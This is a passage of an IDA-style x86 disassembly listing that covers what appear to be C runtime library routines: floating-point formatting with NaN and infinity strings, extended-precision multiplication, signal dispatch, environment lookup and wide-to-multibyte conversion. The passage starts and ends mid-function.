jmp short loc_425784
; ---------------------------------------------------------------------------
loc_4257B4: ; CODE XREF: sub_425441+99j
; sub_425441+E4j ...
dec edi
jmp short loc_4257B9
; ---------------------------------------------------------------------------
loc_4257B7: ; CODE XREF: sub_425441+261j
; sub_425441+2BCj
mov edi, ecx
loc_4257B9: ; CODE XREF: sub_425441+2DDj
; sub_425441+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_4258A1
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_4257E5
cmp [ebp+var_45], 5
jl short loc_4257D9
inc [ebp+var_45]
loc_4257D9: ; CODE XREF: sub_425441+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_4257E8
; ---------------------------------------------------------------------------
loc_4257E5: ; CODE XREF: sub_425441+38Dj
mov eax, [ebp+var_C]
loc_4257E8: ; CODE XREF: sub_425441+3A2j
cmp [ebp+var_4], 0
jbe loc_425897
loc_4257F2: ; CODE XREF: sub_425441+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_425800
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_4257F2
; ---------------------------------------------------------------------------
loc_425800: ; CODE XREF: sub_425441+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_42537A
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_42581F
neg eax
loc_42581F: ; CODE XREF: sub_425441+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_42582A
add eax, [ebp+arg_10]
loc_42582A: ; CODE XREF: sub_425441+3E4j
cmp [ebp+var_24], ecx
jnz short loc_425832
sub eax, [ebp+arg_14]
loc_425832: ; CODE XREF: sub_425441+3ECj
cmp eax, 1450h
jle short loc_425869
mov [ebp+var_2C], 1
loc_425840: ; CODE XREF: sub_425441+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_42584C: ; CODE XREF: sub_425441+454j
; sub_425441+45Ej
cmp [ebp+var_2C], 0
jz short loc_4258B2
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_4258C7
; ---------------------------------------------------------------------------
loc_425869: ; CODE XREF: sub_425441+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_425879
mov [ebp+var_30], 1
jmp short loc_425840
; ---------------------------------------------------------------------------
loc_425879: ; CODE XREF: sub_425441+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_42602A
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_42584C
; ---------------------------------------------------------------------------
loc_425897: ; CODE XREF: sub_425441+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_42584C
; ---------------------------------------------------------------------------
loc_4258A1: ; CODE XREF: sub_425441+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_4258C7
; ---------------------------------------------------------------------------
loc_4258B2: ; CODE XREF: sub_425441+40Fj
cmp [ebp+var_30], 0
jz short loc_4258C7
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_4258C7: ; CODE XREF: sub_425441+426j
; sub_425441+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_425441 endp
; ---------------------------------------------------------------------------
off_4258E2 dd offset loc_4254AB ; DATA XREF: sub_425441+63r
dd offset loc_4254FA ; jump table for switch statement
dd offset loc_425551
dd offset loc_42557B
dd offset loc_4255D6
dd offset loc_42564D
dd offset loc_425683
dd offset loc_4256CD
dd offset loc_4256AC
dd offset loc_425731
dd offset loc_42571B
dd offset loc_4256E7
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425912 proc near ; CODE XREF: sub_424839+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_425974
mov byte ptr [ebx+2], 2Dh
jmp short loc_425978
; ---------------------------------------------------------------------------
loc_425974: ; CODE XREF: sub_425912+5Aj
mov byte ptr [ebx+2], 20h
loc_425978: ; CODE XREF: sub_425912+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_42599E
test edi, edi
jnz short loc_42599E
cmp [ebp+arg_0], edi
jnz short loc_42599E
loc_425989: ; CODE XREF: sub_425912+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_425B9C
; ---------------------------------------------------------------------------
loc_42599E: ; CODE XREF: sub_425912+6Cj
; sub_425912+70j ...
cmp dx, si
jnz short loc_425A1D
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_4259B7
cmp [ebp+arg_0], 0
jz short loc_4259C6
loc_4259B7: ; CODE XREF: sub_425912+9Dj
test edi, 40000000h
jnz short loc_4259C6
push offset a1Snan ; "1#SNAN"
jmp short loc_425A0C
; ---------------------------------------------------------------------------
loc_4259C6: ; CODE XREF: sub_425912+A3j
; sub_425912+ABj
test cx, cx
jz short loc_4259E0
cmp edi, 0C0000000h
jnz short loc_4259E0
cmp [ebp+arg_0], 0
jnz short loc_425A07
push offset a1Ind ; "1#IND"
jmp short loc_4259EF
; ---------------------------------------------------------------------------
loc_4259E0: ; CODE XREF: sub_425912+B7j
; sub_425912+BFj
cmp edi, eax
jnz short loc_425A07
cmp [ebp+arg_0], 0
jnz short loc_425A07
push offset a1Inf ; "1#INF"
loc_4259EF: ; CODE XREF: sub_425912+CCj
lea eax, [ebx+4]
push eax
call sub_41C0A0
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_4259FE: ; CODE XREF: sub_425912+109j
and [ebp+var_4], 0
jmp loc_425B75
; ---------------------------------------------------------------------------
loc_425A07: ; CODE XREF: sub_425912+C5j
; sub_425912+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_425A0C: ; CODE XREF: sub_425912+B2j
lea eax, [ebx+4]
push eax
call sub_41C0A0
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_4259FE
; ---------------------------------------------------------------------------
loc_425A1D: ; CODE XREF: sub_425912+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_42602A
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_425A7E
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_425E0A
pop ecx
pop ecx
loc_425A7E: ; CODE XREF: sub_425912+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_425A98
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_425A9B
jmp loc_425989
; ---------------------------------------------------------------------------
loc_425A98: ; CODE XREF: sub_425912+173j
mov edi, [ebp+arg_C]
loc_425A9B: ; CODE XREF: sub_425912+17Fj
cmp edi, 15h
jle short loc_425AA3
push 15h
pop edi
loc_425AA3: ; CODE XREF: sub_425912+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_425AB9: ; CODE XREF: sub_425912+1B4j
lea eax, [ebp+var_10]
push eax
call sub_42531F
dec [ebp+arg_14]
pop ecx
jnz short loc_425AB9
test esi, esi
jge short loc_425AE3
neg esi
and esi, 0FFh
jle short loc_425AE3
loc_425AD6: ; CODE XREF: sub_425912+1CFj
lea eax, [ebp+var_10]
push eax
call sub_42534D
dec esi
pop ecx
jnz short loc_425AD6
loc_425AE3: ; CODE XREF: sub_425912+1B8j
; sub_425912+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_425B40
mov [ebp+arg_C], ecx
loc_425AF3: ; CODE XREF: sub_425912+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_42531F
lea eax, [ebp+var_10]
push eax
call sub_42531F
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_4252C1
lea eax, [ebp+var_10]
push eax
call sub_42531F
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_425AF3
mov eax, [ebp+arg_14]
loc_425B40: ; CODE XREF: sub_425912+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_425B7D
loc_425B4D: ; CODE XREF: sub_425912+248j
cmp eax, ecx
jb short loc_425B60
cmp byte ptr [eax], 39h
jnz short loc_425B5C
mov byte ptr [eax], 30h
dec eax
jmp short loc_425B4D
; ---------------------------------------------------------------------------
loc_425B5C: ; CODE XREF: sub_425912+242j
cmp eax, ecx
jnb short loc_425B64
loc_425B60: ; CODE XREF: sub_425912+23Dj
inc eax
inc word ptr [ebx]
loc_425B64: ; CODE XREF: sub_425912+24Cj
inc byte ptr [eax]
loc_425B66: ; CODE XREF: sub_425912+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_425B75: ; CODE XREF: sub_425912+F0j
mov eax, [ebp+var_4]
loc_425B78: ; CODE XREF: sub_425912+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_425B7D: ; CODE XREF: sub_425912+239j
; sub_425912+275j
cmp eax, ecx
jb short loc_425B8D
cmp byte ptr [eax], 30h
jnz short loc_425B89
dec eax
jmp short loc_425B7D
; ---------------------------------------------------------------------------
loc_425B89: ; CODE XREF: sub_425912+272j
cmp eax, ecx
jnb short loc_425B66
loc_425B8D: ; CODE XREF: sub_425912+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_425B9C: ; CODE XREF: sub_425912+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_425B78
sub_425912 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425BA5 proc near ; CODE XREF: sub_42277C+229Dp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_425C0C
dec eax
dec eax
jz short loc_425BFD
sub eax, 4
jz short loc_425BFD
sub eax, 3
jz short loc_425BFD
sub eax, 4
jz short loc_425BF0
sub eax, 6
jz short loc_425BE3
dec eax
jz short loc_425BD6
or eax, 0FFFFFFFFh
jmp loc_425CCE
; ---------------------------------------------------------------------------
loc_425BD6: ; CODE XREF: sub_425BA5+27j
mov esi, ds:dword_4DE1BC
mov eax, offset dword_4DE1BC
jmp short loc_425C17
; ---------------------------------------------------------------------------
loc_425BE3: ; CODE XREF: sub_425BA5+24j
mov esi, ds:dword_4DE1B8
mov eax, offset dword_4DE1B8
jmp short loc_425C17
; ---------------------------------------------------------------------------
loc_425BF0: ; CODE XREF: sub_425BA5+1Fj
mov esi, ds:dword_4DE1C0
mov eax, offset dword_4DE1C0
jmp short loc_425C17
; ---------------------------------------------------------------------------
loc_425BFD: ; CODE XREF: sub_425BA5+10j
; sub_425BA5+15j ...
push edi
call sub_425CD2
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_425C17
; ---------------------------------------------------------------------------
loc_425C0C: ; CODE XREF: sub_425BA5+Cj
mov esi, ds:dword_4DE1B4
mov eax, offset dword_4DE1B4
loc_425C17: ; CODE XREF: sub_425BA5+3Cj
; sub_425BA5+49j ...
cmp esi, 1
jnz short loc_425C23
xor eax, eax
jmp loc_425CCE
; ---------------------------------------------------------------------------
loc_425C23: ; CODE XREF: sub_425BA5+75j
test esi, esi
jnz short loc_425C2E
push 3
call sub_41B9B2
loc_425C2E: ; CODE XREF: sub_425BA5+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_425C40
cmp edi, 0Bh
jz short loc_425C40
cmp edi, 4
jnz short loc_425C66
loc_425C40: ; CODE XREF: sub_425BA5+8Fj
; sub_425BA5+94j
mov ebx, ds:dword_4DDF94
and ds:dword_4DDF94, 0
cmp edi, ecx
jnz short loc_425C95
mov edx, ds:dword_43F85C
mov ds:dword_43F85C, 8Ch
mov [ebp+arg_0], edx
jmp short loc_425C69
; ---------------------------------------------------------------------------
loc_425C66: ; CODE XREF: sub_425BA5+99j
mov ebx, [ebp+arg_0]
loc_425C69: ; CODE XREF: sub_425BA5+BFj
cmp edi, ecx
jnz short loc_425C95
mov eax, ds:dword_43F850
mov ecx, ds:dword_43F854
add ecx, eax
cmp eax, ecx
jge short loc_425C9C
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:43F7E0h[edx*4]
loc_425C8A: ; CODE XREF: sub_425BA5+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_425C8A
jmp short loc_425C9C
; ---------------------------------------------------------------------------
loc_425C95: ; CODE XREF: sub_425BA5+AAj
; sub_425BA5+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_425CAA
loc_425C9C: ; CODE XREF: sub_425BA5+D7j
; sub_425BA5+EEj
push ds:dword_43F85C
push 8
call esi
pop ecx
pop ecx
jmp short loc_425CB8
; ---------------------------------------------------------------------------
loc_425CAA: ; CODE XREF: sub_425BA5+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_425CB8
cmp edi, 4
jnz short loc_425CCB
loc_425CB8: ; CODE XREF: sub_425BA5+103j
; sub_425BA5+10Cj
cmp edi, 8
mov ds:dword_4DDF94, ebx
jnz short loc_425CCB
mov eax, [ebp+arg_0]
mov ds:dword_43F85C, eax
loc_425CCB: ; CODE XREF: sub_425BA5+111j
; sub_425BA5+11Cj
xor eax, eax
pop ebx
loc_425CCE: ; CODE XREF: sub_425BA5+2Cj
; sub_425BA5+79j
pop edi
pop esi
pop ebp
retn
sub_425BA5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_425CD2 proc near ; CODE XREF: sub_425BA5+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, ds:dword_43F858
cmp ds:dword_43F7DC, edx
push esi
mov eax, offset dword_43F7D8
jz short loc_425D00
lea esi, [ecx+ecx*2]
lea esi, ds:43F7D8h[esi*4]
loc_425CF4: ; CODE XREF: sub_425CD2+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_425D00
cmp [eax+4], edx
jnz short loc_425CF4
loc_425D00: ; CODE XREF: sub_425CD2+16j
; sub_425CD2+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43F7D8h[ecx*4]
cmp eax, ecx
jnb short loc_425D14
cmp [eax+4], edx
jz short locret_425D16
loc_425D14: ; CODE XREF: sub_425CD2+3Bj
xor eax, eax
locret_425D16: ; CODE XREF: sub_425CD2+40j
retn
sub_425CD2 endp
; =============== S U B R O U T I N E =======================================
sub_425D17 proc near ; CODE XREF: sub_424A3C+23p
arg_0 = dword ptr 4
cmp ds:dword_4DF550, 0
push ebx
push esi
mov esi, ds:dword_4DDEDC
push edi
jz short loc_425D8E
test esi, esi
jnz short loc_425D48
cmp ds:dword_4DDEE4, esi
jz short loc_425D8E
call sub_4260E5
test eax, eax
jnz short loc_425D8E
mov esi, ds:dword_4DDEDC
test esi, esi
jz short loc_425D8E
loc_425D48: ; CODE XREF: sub_425D17+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_425D8E
push ebx
call sub_41B1D0
pop ecx
mov edi, eax
loc_425D59: ; CODE XREF: sub_425D17+6Dj
mov eax, [esi]
test eax, eax
jz short loc_425D8E
push eax
call sub_41B1D0
cmp eax, edi
pop ecx
jbe short loc_425D81
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_425D81
push edi
push ebx
push eax
call sub_4260A6
add esp, 0Ch
test eax, eax
jz short loc_425D86
loc_425D81: ; CODE XREF: sub_425D17+51j
; sub_425D17+59j
add esi, 4
jmp short loc_425D59
; ---------------------------------------------------------------------------
loc_425D86: ; CODE XREF: sub_425D17+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_425D90
; ---------------------------------------------------------------------------
loc_425D8E: ; CODE XREF: sub_425D17+10j
; sub_425D17+1Cj ...
xor eax, eax
loc_425D90: ; CODE XREF: sub_425D17+75j
pop edi
pop esi
pop ebx
retn
sub_425D17 endp
; =============== S U B R O U T I N E =======================================
sub_425D94 proc near ; CODE XREF: seg000:004251E5p
; seg000:00425233p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, ds:dword_4DE2E0
jnb short loc_425DFB
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, ds:dword_4DE1E0[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_425DFB
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_425DD4
and cl, 7Fh
jmp short loc_425DE1
; ---------------------------------------------------------------------------
loc_425DD4: ; CODE XREF: sub_425D94+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_425DEF
or cl, 80h
loc_425DE1: ; CODE XREF: sub_425D94+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_425DEF: ; CODE XREF: sub_425D94+48j
mov ds:dword_4DDEB4, 16h
jmp short loc_425E05
; ---------------------------------------------------------------------------
loc_425DFB: ; CODE XREF: sub_425D94+Bj
; sub_425D94+27j
mov ds:dword_4DDEB4, 9
loc_425E05: ; CODE XREF: sub_425D94+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_425D94 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425E0A proc near ; CODE XREF: sub_425912+165p
; sub_42602A+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_42600A
cmp cx, 7FFFh
jnb loc_42600A
cmp dx, 0BFFDh
ja loc_42600A
cmp dx, 3FBFh
ja short loc_425E73
xor eax, eax
jmp short loc_425EAD
; ---------------------------------------------------------------------------
loc_425E73: ; CODE XREF: sub_425E0A+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_425E95
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_425E95
xor eax, eax
cmp [esi+4], eax
jnz short loc_425E97
cmp [esi], eax
jnz short loc_425E97
jmp loc_426004
; ---------------------------------------------------------------------------
loc_425E95: ; CODE XREF: sub_425E0A+71j
; sub_425E0A+79j
xor eax, eax
loc_425E97: ; CODE XREF: sub_425E0A+80j
; sub_425E0A+84j
cmp cx, ax
jnz short loc_425EBA
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_425EBA
cmp [ebx+4], eax
jnz short loc_425EBA
cmp [ebx], eax
jnz short loc_425EBA
loc_425EAD: ; CODE XREF: sub_425E0A+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_426025
; ---------------------------------------------------------------------------
loc_425EBA: ; CODE XREF: sub_425E0A+90j
; sub_425E0A+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_425ECA: ; CODE XREF: sub_425E0A+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_425F1E
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_425EE6: ; CODE XREF: sub_425E0A+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_4252A0
add esp, 0Ch
test eax, eax
jz short loc_425F11
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_425F11: ; CODE XREF: sub_425E0A+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_425EE6
loc_425F1E: ; CODE XREF: sub_425E0A+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_425ECA
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_425F61
loc_425F3C: ; CODE XREF: sub_425E0A+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_425F5A
lea eax, [ebp+var_24]
push eax
call sub_42531F
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_425F3C
loc_425F5A: ; CODE XREF: sub_425E0A+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_425F9A
loc_425F61: ; CODE XREF: sub_425E0A+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_425F9A
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_425F7A: ; CODE XREF: sub_425E0A+184j
test byte ptr [ebp+var_24], 1
jz short loc_425F83
inc [ebp+var_14]
loc_425F83: ; CODE XREF: sub_425E0A+174j
lea eax, [ebp+var_24]
push eax
call sub_42534D
dec ebx
pop ecx
jnz short loc_425F7A
cmp [ebp+var_14], 0
jz short loc_425F9A
or byte ptr [ebp+var_24], 1
loc_425F9A: ; CODE XREF: sub_425E0A+155j
; sub_425E0A+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_425FB1
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_425FE6
loc_425FB1: ; CODE XREF: sub_425E0A+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_425FE3
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_425FDE
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_425FD8
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_425FE6
; ---------------------------------------------------------------------------
loc_425FD8: ; CODE XREF: sub_425E0A+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_425FE6
; ---------------------------------------------------------------------------
loc_425FDE: ; CODE XREF: sub_425E0A+1B5j
inc [ebp+var_20+2]
jmp short loc_425FE6
; ---------------------------------------------------------------------------
loc_425FE3: ; CODE XREF: sub_425E0A+1ABj
inc [ebp+var_24+2]
loc_425FE6: ; CODE XREF: sub_425E0A+1A5j
; sub_425E0A+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_42600A
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_426004: ; CODE XREF: sub_425E0A+86j
mov [esi+0Ah], ax
jmp short loc_426025
; ---------------------------------------------------------------------------
loc_42600A: ; CODE XREF: sub_425E0A+42j
; sub_425E0A+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_426025: ; CODE XREF: sub_425E0A+ABj
; sub_425E0A+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_425E0A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42602A proc near ; CODE XREF: sub_425441+440p
; sub_425912+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_43FA58
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_4260A3
jge short loc_426052
mov eax, [ebp+arg_4]
mov ebx, offset dword_43FBB8
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_426052: ; CODE XREF: sub_42602A+16j
cmp [ebp+arg_8], ecx
jnz short loc_42605D
mov eax, [ebp+arg_0]
mov [eax], cx
loc_42605D: ; CODE XREF: sub_42602A+2Bj
cmp [ebp+arg_4], ecx
jz short loc_4260A3
push esi
push edi
loc_426064: ; CODE XREF: sub_42602A+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_42609C
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_42608F
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_42608F: ; CODE XREF: sub_42602A+57j
push esi
push [ebp+arg_0]
call sub_425E0A
pop ecx
pop ecx
xor ecx, ecx
loc_42609C: ; CODE XREF: sub_42602A+49j
cmp [ebp+arg_4], ecx
jnz short loc_426064
pop edi
pop esi
loc_4260A3: ; CODE XREF: sub_42602A+14j
; sub_42602A+36j
pop ebx
leave
retn
sub_42602A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4260A6 proc near ; CODE XREF: sub_425D17+5Ep
; sub_426557+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_4260B3
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4260B3: ; CODE XREF: sub_4260A6+7j
push ds:dword_4DF304
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push ds:dword_4DF524
call sub_426153
add esp, 1Ch
test eax, eax
jnz short loc_4260E0
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4260E0: ; CODE XREF: sub_4260A6+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_4260A6 endp
; =============== S U B R O U T I N E =======================================
sub_4260E5 proc near ; CODE XREF: sub_425D17+1Ep
; sub_4263D0+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, ds:dword_4DDEE4
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_426146
mov ebx, ds:dword_428180
loc_4260FE: ; CODE XREF: sub_4260E5+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx ; WideCharToMultiByte
mov ebp, eax
cmp ebp, edi
jz short loc_42614E
push ebp
call sub_41B6C5
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_42614E
push edi
push edi
